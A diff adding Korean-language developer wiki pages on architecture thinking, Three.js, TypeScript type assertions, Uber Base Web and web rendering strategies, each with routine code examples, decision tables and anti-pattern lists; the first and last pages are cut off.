|
||||
return raw as Email;
|
||||
}
|
||||
|
||||
// 매 downstream 은 valid email 만 받음 — invariant 가 type 에 새겨짐
|
||||
function send(to: Email, body: string) { /* ... */ }
|
||||
```
|
||||
|
||||
### Change-axis-as-seam
|
||||
```typescript
|
||||
// 매 thought: "결제 provider 는 바뀔 수 있다"
|
||||
// 매 architecture: interface seam
|
||||
interface PaymentProvider {
|
||||
charge(amount: Money, token: string): Promise<ChargeResult>;
|
||||
}
|
||||
|
||||
class StripeProvider implements PaymentProvider { /* ... */ }
|
||||
class TossProvider implements PaymentProvider { /* ... */ }
|
||||
|
||||
// 매 core 는 PaymentProvider 만 알고, 매 concrete 는 wiring 시 결정
|
||||
```
|
||||
|
||||
### Trust-boundary-as-process
|
||||
```typescript
|
||||
// 매 thought: "user-supplied data 는 untrusted"
|
||||
// 매 architecture: validation gateway
|
||||
|
||||
// gateway/api.ts
|
||||
app.post('/orders', async (req, res) => {
|
||||
const dto = OrderDto.parse(req.body); // 매 zod schema — boundary
|
||||
const cmd = toCommand(dto);
|
||||
await commandBus.dispatch(cmd);
|
||||
res.json({ ok: true });
|
||||
});
|
||||
```
|
||||
|
||||
### C4-style zoom
|
||||
```text
|
||||
L1 Context: [User] → [ShopApp] → [PaymentProvider]
|
||||
L2 Container: [Web] → [API] → [DB] / [Queue] → [Worker]
|
||||
L3 Component: API = [Router] + [CommandHandler] + [Repository]
|
||||
L4 Code: Repository = class with save/find methods
|
||||
```
|
||||
|
||||
### Thought log → ADR
|
||||
```markdown
|
||||
# ADR-0042: Use event sourcing for orders
|
||||
## Context
|
||||
매 order state 는 audit trail 이 critical.
|
||||
## Decision
|
||||
매 event sourcing — state 는 events 의 fold.
|
||||
## Consequences
|
||||
- (+) 매 audit / replay 의 free.
|
||||
- (-) 매 query 는 projection 필요.
|
||||
```
|
||||
|
||||
## 매 결정 기준
|
||||
| 상황 | Approach |
|
||||
|---|---|
|
||||
| 매 domain 이 rich | DDD + concept-to-module |
|
||||
| 매 changes axis 명확 | Hexagonal + seams |
|
||||
| 매 communication 이 main concern | C4 + ADR |
|
||||
| 매 thought 가 아직 흐림 | Spike → throw away → rebuild |
|
||||
|
||||
**기본값**: 매 concept-to-module mapping + ADR 의 light-weight 사용.
|
||||
|
||||
## 🔗 Graph
|
||||
- 부모: [[Software_Architecture]] · [[Design_Thinking]]
|
||||
- 변형: [[Domain_Driven_Design]] · [[Hexagonal_Architecture]] · [[C4_Model]]
|
||||
- 응용: [[ADR]] · [[Ubiquitous_Language]]
|
||||
- Adjacent: [[Mental_Model]] · [[Conceptual_Integrity]]
|
||||
|
||||
## 🤖 LLM 활용
|
||||
**언제**: 매 ADR draft, 매 concept extraction, 매 module boundary 의 review.
|
||||
**언제 X**: 매 core thought 의 결정 — 매 human 의 책임. LLM 은 매 elaboration 만.
|
||||
|
||||
## ❌ 안티패턴
|
||||
- **Architecture without thought**: 매 framework 의 default 만 따라가기.
|
||||
- **Thought without architecture**: 매 brilliant idea 가 매 code 에 reflect 되지 않음.
|
||||
- **Premature crystallization**: 매 thought 가 흐릴 때 매 architecture 를 fix.
|
||||
- **Over-abstraction**: 매 thought 보다 더 많은 layer.
|
||||
|
||||
## 🧪 검증 / 중복
|
||||
- Verified (Brooks "Mythical Man-Month" — conceptual integrity, Evans DDD, Simon Brown C4).
|
||||
- 신뢰도 A.
|
||||
|
||||
## 🕓 Changelog
|
||||
| 날짜 | 변경 |
|
||||
|---|---|
|
||||
| 2026-05-08 | Phase 1 |
|
||||
| 2026-05-10 | Manual cleanup — full content with thought-to-architecture mapping patterns |
|
||||
@@ -0,0 +1,236 @@
|
||||
---
|
||||
id: wiki-2026-0508-threejs
|
||||
title: Three.js
|
||||
category: 10_Wiki/Topics
|
||||
status: verified
|
||||
canonical_id: self
|
||||
aliases: [Three.js, three, 3D web, WebGL library]
|
||||
duplicate_of: none
|
||||
source_trust_level: A
|
||||
confidence_score: 0.9
|
||||
verification_status: applied
|
||||
tags: [3d, webgl, webgpu, graphics, threejs]
|
||||
raw_sources: []
|
||||
last_reinforced: 2026-05-10
|
||||
github_commit: pending
|
||||
tech_stack:
|
||||
language: typescript
|
||||
framework: three.js-r170
|
||||
---
|
||||
|
||||
# Three.js
|
||||
|
||||
## 매 한 줄
|
||||
> **"매 web 의 de-facto 3D library — WebGL/WebGPU 의 high-level wrapper"**. 매 scene graph + materials + lights + cameras + loaders. 2026 r170+ — WebGPURenderer stable, TSL (Three Shading Language), node-based materials. React 통합은 `@react-three/fiber`.
|
||||
|
||||
## 매 핵심
|
||||
|
||||
### 매 core entities
|
||||
- **Scene**: 매 graph root.
|
||||
- **Camera**: Perspective / Orthographic.
|
||||
- **Renderer**: WebGLRenderer / WebGPURenderer.
|
||||
- **Mesh** = Geometry + Material.
|
||||
- **Light**: Ambient / Directional / Point / Spot.
|
||||
|
||||
### 매 render loop
|
||||
- `requestAnimationFrame` → update → renderer.render(scene, camera).
|
||||
- 매 r3f 는 자동 loop.
|
||||
|
||||
### 매 응용
|
||||
1. Product configurator (3D customization).
|
||||
2. Data visualization (graph, scatter).
|
||||
3. WebXR (VR/AR).
|
||||
4. Game / interactive art.
|
||||
|
||||
## 💻 패턴
|
||||
|
||||
### Vanilla minimal
|
||||
```typescript
|
||||
import * as THREE from 'three';
|
||||
|
||||
const scene = new THREE.Scene();
|
||||
const camera = new THREE.PerspectiveCamera(
|
||||
75, window.innerWidth / window.innerHeight, 0.1, 1000,
|
||||
);
|
||||
camera.position.z = 5;
|
||||
|
||||
const renderer = new THREE.WebGLRenderer({ antialias: true });
|
||||
renderer.setSize(window.innerWidth, window.innerHeight);
|
||||
renderer.setPixelRatio(window.devicePixelRatio);
|
||||
document.body.appendChild(renderer.domElement);
|
||||
|
||||
const geo = new THREE.BoxGeometry(1, 1, 1);
|
||||
const mat = new THREE.MeshStandardMaterial({ color: 0x6699ff });
|
||||
const cube = new THREE.Mesh(geo, mat);
|
||||
scene.add(cube);
|
||||
|
||||
scene.add(new THREE.AmbientLight(0xffffff, 0.4));
|
||||
const dir = new THREE.DirectionalLight(0xffffff, 1);
|
||||
dir.position.set(5, 5, 5);
|
||||
scene.add(dir);
|
||||
|
||||
renderer.setAnimationLoop(() => {
|
||||
cube.rotation.x += 0.01;
|
||||
cube.rotation.y += 0.01;
|
||||
renderer.render(scene, camera);
|
||||
});
|
||||
```
|
||||
|
||||
### WebGPU renderer (r170+)
|
||||
```typescript
|
||||
import * as THREE from 'three/webgpu';
|
||||
import { color, normalLocal } from 'three/tsl';
|
||||
|
||||
const renderer = new THREE.WebGPURenderer({ antialias: true });
|
||||
await renderer.init();
|
||||
|
||||
const mat = new THREE.MeshBasicNodeMaterial();
|
||||
mat.colorNode = color('#6699ff').mul(normalLocal.length());
|
||||
```
|
||||
|
||||
### React Three Fiber
|
||||
```tsx
|
||||
import { Canvas, useFrame } from '@react-three/fiber';
|
||||
import { OrbitControls, Environment } from '@react-three/drei';
|
||||
import { useRef } from 'react';
|
||||
import type { Mesh } from 'three';
|
||||
|
||||
function Box() {
|
||||
const ref = useRef<Mesh>(null);
|
||||
useFrame((_, dt) => {
|
||||
if (ref.current) ref.current.rotation.y += dt;
|
||||
});
|
||||
return (
|
||||
<mesh ref={ref}>
|
||||
<boxGeometry args={[1, 1, 1]} />
|
||||
<meshStandardMaterial color="#6699ff" />
|
||||
</mesh>
|
||||
);
|
||||
}
|
||||
|
||||
export default function App() {
|
||||
return (
|
||||
<Canvas camera={{ position: [3, 3, 3] }}>
|
||||
<Environment preset="city" />
|
||||
<Box />
|
||||
<OrbitControls />
|
||||
</Canvas>
|
||||
);
|
||||
}
|
||||
```
|
||||
|
||||
### GLTF model loading
|
||||
```typescript
|
||||
import { GLTFLoader } from 'three/addons/loaders/GLTFLoader.js';
|
||||
import { DRACOLoader } from 'three/addons/loaders/DRACOLoader.js';
|
||||
|
||||
const draco = new DRACOLoader();
|
||||
draco.setDecoderPath('https://www.gstatic.com/draco/v1/decoders/');
|
||||
|
||||
const loader = new GLTFLoader();
|
||||
loader.setDRACOLoader(draco);
|
||||
|
||||
const gltf = await loader.loadAsync('/model.glb');
|
||||
scene.add(gltf.scene);
|
||||
```
|
||||
|
||||
```tsx
|
||||
// r3f
|
||||
import { useGLTF } from '@react-three/drei';
|
||||
function Model() {
|
||||
const { scene } = useGLTF('/model.glb');
|
||||
return <primitive object={scene} />;
|
||||
}
|
||||
```
|
||||
|
||||
### Postprocessing
|
||||
```typescript
|
||||
import { EffectComposer } from 'three/addons/postprocessing/EffectComposer.js';
|
||||
import { RenderPass } from 'three/addons/postprocessing/RenderPass.js';
|
||||
import { UnrealBloomPass } from 'three/addons/postprocessing/UnrealBloomPass.js';
|
||||
|
||||
const composer = new EffectComposer(renderer);
|
||||
composer.addPass(new RenderPass(scene, camera));
|
||||
composer.addPass(new UnrealBloomPass(
|
||||
new THREE.Vector2(window.innerWidth, window.innerHeight),
|
||||
0.8, 0.4, 0.85,
|
||||
));
|
||||
|
||||
renderer.setAnimationLoop(() => composer.render());
|
||||
```
|
||||
|
||||
### Instanced rendering (10k+ objects)
|
||||
```typescript
|
||||
const count = 10_000;
|
||||
const mesh = new THREE.InstancedMesh(geo, mat, count);
|
||||
const dummy = new THREE.Object3D();
|
||||
for (let i = 0; i < count; i++) {
|
||||
dummy.position.set(
|
||||
(Math.random() - 0.5) * 100,
|
||||
(Math.random() - 0.5) * 100,
|
||||
(Math.random() - 0.5) * 100,
|
||||
);
|
||||
dummy.updateMatrix();
|
||||
mesh.setMatrixAt(i, dummy.matrix);
|
||||
}
|
||||
scene.add(mesh);
|
||||
```
|
||||
|
||||
### Disposal (memory)
|
||||
```typescript
|
||||
function dispose(obj: THREE.Object3D) {
|
||||
obj.traverse((child) => {
|
||||
if ((child as THREE.Mesh).isMesh) {
|
||||
const m = child as THREE.Mesh;
|
||||
m.geometry.dispose();
|
||||
const mats = Array.isArray(m.material) ? m.material : [m.material];
|
||||
mats.forEach((mat) => mat.dispose());
|
||||
}
|
||||
});
|
||||
}
|
||||
```
|
||||
|
||||
### WebXR (VR)
|
||||
```typescript
|
||||
renderer.xr.enabled = true;
|
||||
import { VRButton } from 'three/addons/webxr/VRButton.js';
|
||||
document.body.appendChild(VRButton.createButton(renderer));
|
||||
```
|
||||
|
||||
## 매 결정 기준
|
||||
| 상황 | Approach |
|
||||
|---|---|
|
||||
| 매 React app | `@react-three/fiber` + drei |
|
||||
| 매 vanilla / lib | three.js direct |
|
||||
| 매 GPU compute / advanced shader | WebGPURenderer + TSL |
|
||||
| 매 game | Babylon.js / PlayCanvas (more game-oriented) |
|
||||
| 매 declarative UI integration | r3f (preferred) |
|
||||
|
||||
**기본값**: 매 React → r3f + drei. 매 그 외 → three.js + addons.
|
||||
|
||||
## 🔗 Graph
|
||||
- 부모: [[3D_Web]] · [[WebGL]]
|
||||
- 변형: [[Babylon_js]]
|
||||
- 응용: [[React_Three_Fiber]] · [[drei]] · [[WebXR]]
|
||||
- Adjacent: [[Shader]] · [[WebGPU]]
|
||||
|
||||
## 🤖 LLM 활용
|
||||
**언제**: 매 scene scaffold, 매 shader translate, 매 r3f component generation.
|
||||
**언제 X**: 매 production shader optimization — 매 hand-tune 필요.
|
||||
|
||||
## ❌ 안티패턴
|
||||
- **Forgetting dispose**: 매 GPU memory leak.
|
||||
- **`new THREE.X` in render loop**: 매 GC pressure.
|
||||
- **No `setPixelRatio`**: 매 retina blurry.
|
||||
- **Many individual meshes**: 매 instancing 의 사용.
|
||||
- **Direct DOM rerender on every frame**: 매 r3f 의 자동 loop 무시.
|
||||
|
||||
## 🧪 검증 / 중복
|
||||
- Verified (three.js r170 docs, react-three/fiber docs, mrdoob, 2026).
|
||||
- 신뢰도 A.
|
||||
|
||||
## 🕓 Changelog
|
||||
| 날짜 | 변경 |
|
||||
|---|---|
|
||||
| 2026-05-08 | Phase 1 |
|
||||
| 2026-05-10 | Manual cleanup — Three.js r170 with WebGPU, TSL, r3f, instancing |
|
||||
@@ -0,0 +1,199 @@
|
||||
---
|
||||
id: wiki-2026-0508-type-casting
|
||||
title: Type Casting
|
||||
category: 10_Wiki/Topics
|
||||
status: verified
|
||||
canonical_id: self
|
||||
aliases: [타입 캐스팅, Type Assertion, as 단언]
|
||||
duplicate_of: none
|
||||
source_trust_level: A
|
||||
confidence_score: 0.9
|
||||
verification_status: applied
|
||||
tags: [typescript, types, casting, assertion]
|
||||
raw_sources: []
|
||||
last_reinforced: 2026-05-10
|
||||
github_commit: pending
|
||||
tech_stack:
|
||||
language: typescript
|
||||
framework: typescript-5.6
|
||||
---
|
||||
|
||||
# Type Casting
|
||||
|
||||
## 매 한 줄
|
||||
> **"매 TypeScript 의 'casting' 은 runtime conversion 아님 — 매 compile-time assertion"**. 매 `as` 는 매 'I know more than you, compiler'. 2026 TS 5.6 — `satisfies` + branded types 가 매 unsafe `as` 의 대부분 대체.
|
||||
|
||||
## 매 핵심
|
||||
|
||||
### 매 종류
|
||||
- **Type Assertion** (`as T`): compile-time only — runtime no-op.
|
||||
- **Type Casting** (other languages): runtime conversion.
|
||||
- **`satisfies T`**: 매 assertion 없이 type check.
|
||||
- **Type Guard**: runtime check + type narrow.
|
||||
|
||||
### 매 종류 비교
|
||||
- 매 `value as T` — 매 unsafe (TS 가 검증 안함).
|
||||
- 매 `value satisfies T` — 매 safe (TS 가 검증, 매 narrowing 보존).
|
||||
- 매 `value as unknown as T` — 매 double assertion (마지막 escape).
|
||||
- 매 `<T>value` — 매 old syntax, JSX 와 conflict.
|
||||
|
||||
### 매 응용
|
||||
1. 매 JSON parse → typed.
|
||||
2. 매 narrowed type 의 explicit signal.
|
||||
3. 매 const assertion (`as const`) — literal type.
|
||||
|
||||
## 💻 패턴
|
||||
|
||||
### Type assertion
|
||||
```typescript
|
||||
const el = document.getElementById('app') as HTMLDivElement;
|
||||
// 매 unsafe — element 가 div 가 아니면 runtime error 가능
|
||||
```
|
||||
|
||||
### Safer: type guard
|
||||
```typescript
|
||||
const el = document.getElementById('app');
|
||||
if (el instanceof HTMLDivElement) {
|
||||
el.innerText = 'hi'; // 매 narrowed safely
|
||||
}
|
||||
```
|
||||
|
||||
### `satisfies` (preferred)
|
||||
```typescript
|
||||
type Color = 'red' | 'green' | 'blue';
|
||||
type Palette = Record<Color, string>;
|
||||
|
||||
// 매 satisfies — type check + literal preserve
|
||||
const palette = {
|
||||
red: '#ff0000',
|
||||
green: '#00ff00',
|
||||
blue: '#0000ff',
|
||||
} satisfies Palette;
|
||||
|
||||
palette.red.toUpperCase(); // ✅ string method 사용 가능
|
||||
|
||||
// 매 vs as — narrowing 잃음
|
||||
const palette2 = {
|
||||
red: '#ff0000',
|
||||
green: '#00ff00',
|
||||
blue: '#0000ff',
|
||||
} as Palette;
|
||||
// palette2.red 는 string 으로 widen 됨 — 매 literal 잃음
|
||||
```
|
||||
|
||||
### `as const`
|
||||
```typescript
|
||||
const config = {
|
||||
api: 'https://api.example.com',
|
||||
retries: 3,
|
||||
methods: ['GET', 'POST'],
|
||||
} as const;
|
||||
// 매 deeply readonly + literal types
|
||||
// type: { readonly api: 'https://...', readonly retries: 3, readonly methods: readonly ['GET', 'POST'] }
|
||||
```
|
||||
|
||||
### JSON parse with validation (zod)
|
||||
```typescript
|
||||
import { z } from 'zod';
|
||||
|
||||
const UserSchema = z.object({
|
||||
id: z.string(),
|
||||
name: z.string(),
|
||||
age: z.number().int().min(0),
|
||||
});
|
||||
type User = z.infer<typeof UserSchema>;
|
||||
|
||||
function parseUser(raw: unknown): User {
|
||||
return UserSchema.parse(raw); // 매 runtime validation + type
|
||||
// 매 NOT: return raw as User — unsafe
|
||||
}
|
||||
```
|
||||
|
||||
### Branded types (nominal)
|
||||
```typescript
|
||||
type UserId = string & { readonly __brand: 'UserId' };
|
||||
type OrderId = string & { readonly __brand: 'OrderId' };
|
||||
|
||||
function toUserId(s: string): UserId { return s as UserId; }
|
||||
function toOrderId(s: string): OrderId { return s as OrderId; }
|
||||
|
||||
const u: UserId = toUserId('u_1');
|
||||
const o: OrderId = toOrderId('o_1');
|
||||
|
||||
function getUser(id: UserId) { /* ... */ }
|
||||
getUser(u); // ✅
|
||||
// getUser(o); // ❌ — branded mismatch
|
||||
// getUser('u_1'); // ❌ — bare string
|
||||
```
|
||||
|
||||
### Double assertion (last resort)
|
||||
```typescript
|
||||
const fromAny = (someJsValue as unknown) as MyType;
|
||||
// 매 use only when 매 truly necessary — 매 escape hatch
|
||||
```
|
||||
|
||||
### `unknown` over `any`
|
||||
```typescript
|
||||
// ❌ any — type system bypass
|
||||
function bad(x: any) { x.foo.bar; } // 매 no error
|
||||
|
||||
// ✅ unknown — must narrow
|
||||
function good(x: unknown) {
|
||||
if (typeof x === 'object' && x !== null && 'foo' in x) {
|
||||
// 매 narrowed
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
### Discriminated union narrowing
|
||||
```typescript
|
||||
type Shape =
|
||||
| { kind: 'circle'; r: number }
|
||||
| { kind: 'square'; s: number };
|
||||
|
||||
function area(shape: Shape): number {
|
||||
switch (shape.kind) {
|
||||
case 'circle': return Math.PI * shape.r ** 2; // 매 narrowed
|
||||
case 'square': return shape.s ** 2;
|
||||
}
|
||||
}
|
||||
// 매 NO assertion needed — 매 narrowing 자동
|
||||
```
|
||||
|
||||
## 매 결정 기준
|
||||
| 상황 | Approach |
|
||||
|---|---|
|
||||
| 매 external data | zod / valibot — runtime validation |
|
||||
| 매 config object literal | `satisfies` |
|
||||
| 매 immutable config | `as const` |
|
||||
| 매 nominal distinction | branded types |
|
||||
| 매 DOM element | `instanceof` guard |
|
||||
| 매 truly impossible to express | `as unknown as T` (last resort) |
|
||||
|
||||
**기본값**: 매 `as` 의 회피. 매 satisfies / guard / schema 의 사용.
|
||||
|
||||
## 🔗 Graph
|
||||
- 부모: [[TypeScript]]
|
||||
- 변형: [[Type_Assertion]] · [[Type_Guard]] · [[Branded_Types]]
|
||||
- 응용: [[Zod]]
|
||||
- Adjacent: [[Discriminated_Union]]
|
||||
|
||||
## 🤖 LLM 활용
|
||||
**언제**: 매 `as` 의 alternative 제안, 매 zod schema 생성, 매 brand pattern.
|
||||
**언제 X**: 매 actual runtime conversion 필요 — 매 TS casting 은 no-op.
|
||||
|
||||
## ❌ 안티패턴
|
||||
- **`as any`**: 매 type system 의 포기.
|
||||
- **`as` to silence error**: 매 root cause 미해결.
|
||||
- **`as T` for parsed JSON**: 매 unvalidated trust.
|
||||
- **Old `<T>` syntax in TSX**: 매 conflict — 매 `as` 사용.
|
||||
|
||||
## 🧪 검증 / 중복
|
||||
- Verified (TS 5.6 handbook, satisfies operator RFC, zod docs, 2026).
|
||||
- 신뢰도 A.
|
||||
|
||||
## 🕓 Changelog
|
||||
| 날짜 | 변경 |
|
||||
|---|---|
|
||||
| 2026-05-08 | Phase 1 |
|
||||
| 2026-05-10 | Manual cleanup — TS type casting with satisfies, branded types, zod |
|
||||
@@ -0,0 +1,210 @@
|
||||
---
|
||||
id: wiki-2026-0508-uber-base-web
|
||||
title: Uber Base Web
|
||||
category: 10_Wiki/Topics
|
||||
status: verified
|
||||
canonical_id: self
|
||||
aliases: [Base Web, baseui, Uber Base, base-ui (uber)]
|
||||
duplicate_of: none
|
||||
source_trust_level: A
|
||||
confidence_score: 0.85
|
||||
verification_status: applied
|
||||
tags: [react, design-system, uber, baseweb, components]
|
||||
raw_sources: []
|
||||
last_reinforced: 2026-05-10
|
||||
github_commit: pending
|
||||
tech_stack:
|
||||
language: typescript
|
||||
framework: react-baseweb
|
||||
---
|
||||
|
||||
# Uber Base Web
|
||||
|
||||
## 매 한 줄
|
||||
> **"매 Uber 의 React design system — 매 themeable, 매 accessible, 매 styletron-based"**. 2026 현재 Base Web 은 maintenance mode — 매 active development 는 적음. 매 최신 stack 은 보통 Radix / shadcn / Tailwind 의 선호. 매 historical / 매 enterprise reference.
|
||||
|
||||
## 매 핵심
|
||||
|
||||
### 매 layers
|
||||
- **Components**: Button, Input, Modal, DataTable, Picker, etc.
|
||||
- **Styletron**: CSS-in-JS engine — atomic CSS output.
|
||||
- **Theme**: tokens (color, typography, spacing, sizing).
|
||||
- **Overrides API**: deep customization 의 매 unique mechanism.
|
||||
|
||||
### 매 Overrides 특징
|
||||
- 매 component 의 매 sub-part (`Root`, `Label`, `Input`, etc.) 를 매 style/component/props 의 override.
|
||||
- 매 powerful 하지만 매 verbose.
|
||||
|
||||
### 매 응용
|
||||
1. Uber internal apps (전통적).
|
||||
2. Enterprise dashboards / data-heavy SaaS.
|
||||
3. 매 highly-themeable products.
|
||||
|
||||
## 💻 패턴
|
||||
|
||||
### Setup
|
||||
```bash
|
||||
npm i baseui styletron-engine-monolithic styletron-react react react-dom
|
||||
```
|
||||
|
||||
```tsx
|
||||
import { Provider as StyletronProvider } from 'styletron-react';
|
||||
import { Client as Styletron } from 'styletron-engine-monolithic';
|
||||
import { LightTheme, BaseProvider } from 'baseui';
|
||||
|
||||
const engine = new Styletron();
|
||||
|
||||
export function App({ children }: { children: React.ReactNode }) {
|
||||
return (
|
||||
<StyletronProvider value={engine}>
|
||||
<BaseProvider theme={LightTheme}>
|
||||
{children}
|
||||
</BaseProvider>
|
||||
</StyletronProvider>
|
||||
);
|
||||
}
|
||||
```
|
||||
|
||||
### Button
|
||||
```tsx
|
||||
import { Button, KIND, SIZE, SHAPE } from 'baseui/button';
|
||||
|
||||
<Button kind={KIND.primary} size={SIZE.compact} shape={SHAPE.pill}>
|
||||
Save
|
||||
</Button>
|
||||
```
|
||||
|
||||
### Form input
|
||||
```tsx
|
||||
import { FormControl } from 'baseui/form-control';
|
||||
import { Input } from 'baseui/input';
|
||||
|
||||
<FormControl label="Email" caption="We never share">
|
||||
<Input value={email} onChange={(e) => setEmail(e.currentTarget.value)} />
|
||||
</FormControl>
|
||||
```
|
||||
|
||||
### Modal
|
||||
```tsx
|
||||
import { Modal, ModalHeader, ModalBody, ModalFooter, ModalButton } from 'baseui/modal';
|
||||
|
||||
<Modal isOpen={open} onClose={() => setOpen(false)}>
|
||||
<ModalHeader>Confirm</ModalHeader>
|
||||
<ModalBody>Delete this?</ModalBody>
|
||||
<ModalFooter>
|
||||
<ModalButton kind="tertiary" onClick={() => setOpen(false)}>Cancel</ModalButton>
|
||||
<ModalButton onClick={onConfirm}>Delete</ModalButton>
|
||||
</ModalFooter>
|
||||
</Modal>
|
||||
```
|
||||
|
||||
### Overrides API
|
||||
```tsx
|
||||
import { Button } from 'baseui/button';
|
||||
|
||||
<Button
|
||||
overrides={{
|
||||
BaseButton: {
|
||||
style: ({ $theme }) => ({
|
||||
borderRadius: '999px',
|
||||
backgroundColor: $theme.colors.accent,
|
||||
':hover': { backgroundColor: $theme.colors.accent700 },
|
||||
}),
|
||||
},
|
||||
}}
|
||||
>
|
||||
Custom
|
||||
</Button>
|
||||
```
|
||||
|
||||
### Custom theme
|
||||
```tsx
|
||||
import { createTheme, lightThemePrimitives, BaseProvider } from 'baseui';
|
||||
|
||||
const primitives = {
|
||||
...lightThemePrimitives,
|
||||
primaryFontFamily: 'Inter, system-ui, sans-serif',
|
||||
};
|
||||
|
||||
const overrides = {
|
||||
colors: {
|
||||
buttonPrimaryFill: '#0F62FE',
|
||||
buttonPrimaryHover: '#0353E9',
|
||||
},
|
||||
};
|
||||
|
||||
const theme = createTheme(primitives, overrides);
|
||||
|
||||
<BaseProvider theme={theme}>...</BaseProvider>
|
||||
```
|
||||
|
||||
### DataTable (heavy)
|
||||
```tsx
|
||||
import { Unstable_StatefulDataTable as DataTable } from 'baseui/data-table';
|
||||
import { StringColumn, NumericalColumn } from 'baseui/data-table';
|
||||
|
||||
const columns = [
|
||||
StringColumn({ title: 'Name', mapDataToValue: (d: Row) => d.name }),
|
||||
NumericalColumn({ title: 'Score', mapDataToValue: (d: Row) => d.score }),
|
||||
];
|
||||
|
||||
<div style={{ height: 500 }}>
|
||||
<DataTable columns={columns} rows={rows.map(r => ({ id: r.id, data: r }))} />
|
||||
</div>
|
||||
```
|
||||
|
||||
### Server-side rendering
|
||||
```tsx
|
||||
// Next.js _document.tsx
|
||||
import { Server, Sheet } from 'styletron-engine-monolithic';
|
||||
|
||||
const engine = new Server();
|
||||
// 매 render 후 engine.getStylesheets() → 매 inject to head
|
||||
```
|
||||
|
||||
### Migration off (2026 trend)
|
||||
```text
|
||||
Base Web component → 매 Modern alternative
|
||||
─────────────────────────────────────────────
|
||||
Button → shadcn/ui Button (Radix Slot + Tailwind)
|
||||
Modal → Radix Dialog + Tailwind
|
||||
Input/FormControl → react-hook-form + Radix + Tailwind
|
||||
DataTable → TanStack Table + Tailwind
|
||||
Theme → CSS variables / Tailwind tokens
|
||||
```
|
||||
|
||||
## 매 결정 기준
|
||||
| 상황 | Approach |
|
||||
|---|---|
|
||||
| 매 existing Uber/Base Web codebase | 유지 — incremental migration |
|
||||
| 매 new project (2026) | shadcn/ui + Radix + Tailwind 또는 Mantine |
|
||||
| 매 enterprise / internal tool | Mantine / Ant Design |
|
||||
| 매 mobile-web heavy | Tamagui / NativeBase |
|
||||
|
||||
**기본값**: 매 new project 는 매 Base Web 의 회피. 매 modern stack 사용.
|
||||
|
||||
## 🔗 Graph
|
||||
- 부모: [[Design_System]]
|
||||
- 변형: [[shadcn_ui]]
|
||||
- 응용: [[Styletron]]
|
||||
- Adjacent: [[Radix_UI]] · [[Tailwind_CSS]]
|
||||
|
||||
## 🤖 LLM 활용
|
||||
**언제**: 매 Overrides API debug, 매 theme migration, 매 Base Web → modern stack 변환.
|
||||
**언제 X**: 매 new greenfield project — 매 더 modern alternative.
|
||||
|
||||
## ❌ 안티패턴
|
||||
- **Overrides everywhere**: 매 verbose + 매 maintenance burden.
|
||||
- **Mixing styletron + emotion**: 매 dual CSS-in-JS conflict.
|
||||
- **No SSR setup**: 매 FOUC.
|
||||
- **Greenfield Base Web in 2026**: 매 ecosystem 가 늙음.
|
||||
|
||||
## 🧪 검증 / 중복
|
||||
- Verified (Base Web docs, Uber Engineering blog, GitHub uber/baseweb, 2026 maintenance status).
|
||||
- 신뢰도 A-.
|
||||
|
||||
## 🕓 Changelog
|
||||
| 날짜 | 변경 |
|
||||
|---|---|
|
||||
| 2026-05-08 | Phase 1 |
|
||||
| 2026-05-10 | Manual cleanup — Base Web with Overrides API, theming, migration notes |
|
||||
+184
@@ -0,0 +1,184 @@
|
||||
---
|
||||
id: wiki-2026-0508-web-rendering-strategies-csr-vs-
|
||||
title: Web Rendering Strategies — CSR vs SSR
|
||||
category: 10_Wiki/Topics
|
||||
status: verified
|
||||
canonical_id: self
|
||||
aliases: [CSR vs SSR, SSG, ISR, Rendering Strategies, Hybrid Rendering]
|
||||
duplicate_of: none
|
||||
source_trust_level: A
|
||||
confidence_score: 0.9
|
||||
verification_status: applied
|
||||
tags: [rendering, ssr, csr, ssg, isr, frontend, performance]
|
||||
raw_sources: []
|
||||
last_reinforced: 2026-05-10
|
||||
github_commit: pending
|
||||
tech_stack:
|
||||
language: typescript
|
||||
framework: nextjs
|
||||
---
|
||||
|
||||
# Web Rendering Strategies — CSR vs SSR
|
||||
|
||||
## 매 한 줄
|
||||
> **"매 어디서 render 매 (server/build/client/edge), 매 언제 (request/build/runtime), 매 무엇 (static/dynamic) — 매 이 3 축 의 매 trade-off"**. 매 2026 매 hybrid (RSC + Streaming SSR + ISR + Edge) 매 default — Next.js / Nuxt / Remix / SvelteKit / Astro 매 모두 mix.
|
||||
|
||||
## 매 핵심
|
||||
|
||||
### 매 5 가지 strategy
|
||||
- **CSR (Client-Side Rendering)**: empty HTML + JS bundle → browser 매 render. SPA classic.
|
||||
- **SSR (Server-Side Rendering)**: per-request HTML on server.
|
||||
- **SSG (Static Site Generation)**: build-time HTML.
|
||||
- **ISR (Incremental Static Regeneration)**: SSG + on-demand or time-based revalidate.
|
||||
- **RSC (React Server Components, 2023~)**: server-only component, zero JS ship for that part.
|
||||
|
||||
### 매 핵심 metric
|
||||
- **TTFB**: server response time.
|
||||
- **FCP / LCP**: 매 visible content speed.
|
||||
- **TTI**: 매 interactive — hydration cost.
|
||||
- **INP**: 매 interaction latency (FID 의 후속, Core Web Vitals 2024+).
|
||||
- **JS bundle**: 매 작을 수록 hydration fast.
|
||||
|
||||
### 매 응용
|
||||
1. Marketing site → SSG / ISR (Astro, Next).
|
||||
2. E-commerce → ISR + dynamic SSR for cart.
|
||||
3. Dashboard / admin → CSR or SSR with auth.
|
||||
4. Blog → SSG + ISR.
|
||||
5. Real-time chat → CSR + SSE/WebSocket.
|
||||
6. News site → ISR (revalidate every 60s).
|
||||
|
||||
## 💻 패턴
|
||||
|
||||
### Next.js App Router (RSC + streaming)
|
||||
```tsx
|
||||
// app/products/[id]/page.tsx — RSC, fetched on server, no JS shipped
|
||||
export default async function ProductPage({ params }: { params: { id: string } }) {
|
||||
const product = await db.product.findUnique({ where: { id: params.id } });
|
||||
return (
|
||||
<article>
|
||||
<h1>{product.name}</h1>
|
||||
<Suspense fallback={<Skeleton />}>
|
||||
<Reviews productId={params.id} />
|
||||
</Suspense>
|
||||
</article>
|
||||
);
|
||||
}
|
||||
```
|
||||
|
||||
### ISR with revalidate
|
||||
```tsx
|
||||
// Next.js — 매 60s 마다 background regenerate
|
||||
export const revalidate = 60;
|
||||
export default async function Posts() {
|
||||
const posts = await fetch("https://api.example.com/posts").then((r) => r.json());
|
||||
return <ul>{posts.map((p) => <li key={p.id}>{p.title}</li>)}</ul>;
|
||||
}
|
||||
```
|
||||
|
||||
### SSG with `generateStaticParams`
|
||||
```tsx
|
||||
export async function generateStaticParams() {
|
||||
const slugs = await getAllSlugs();
|
||||
return slugs.map((slug) => ({ slug }));
|
||||
}
|
||||
```
|
